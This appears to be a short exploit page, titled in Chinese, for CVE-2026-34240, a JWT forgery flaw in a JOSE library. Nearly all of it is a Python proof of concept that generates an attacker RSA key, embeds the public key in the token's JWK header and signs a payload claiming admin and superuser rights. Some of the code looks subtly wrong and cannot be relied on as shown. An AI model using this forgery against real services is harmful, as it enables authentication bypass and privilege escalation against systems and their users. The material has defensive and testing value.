CVE-2026-34240 JOSE库JWT令牌伪造漏洞

import json from jose import jwk from jose import jwt # Generate a new RSA key pair controlled by the attacker private_key = jwk.construct(k="RSA", generate=True) public_key = private_key.public_key() # Convert public key to JWK format generated_jwk = public_key.to_dict() # Create a malicious payload payload = { "user": "admin", "role": "superuser", "exp": 9999999999 } # Embed the attacker's public key in the JOSE header # Vulnerable libraries will use this key for verification headers = { "alg": "RS256", "jwk": generated_jwk } # Sign the token with the attacker's private key token = jwt.encode(payload, private_key.to_pem().decode('utf-8'), algorithm="RS256", headers=headers) print(f"Forged JWT Token: {token}") # Verification (simulating the vulnerable behavior) # In a vulnerable scenario, the library extracts the 'jwk' from the header to verify data = jwt.decode(token, public_key, algorithms=["RS256"]) print(f"Verified Payload: {data}")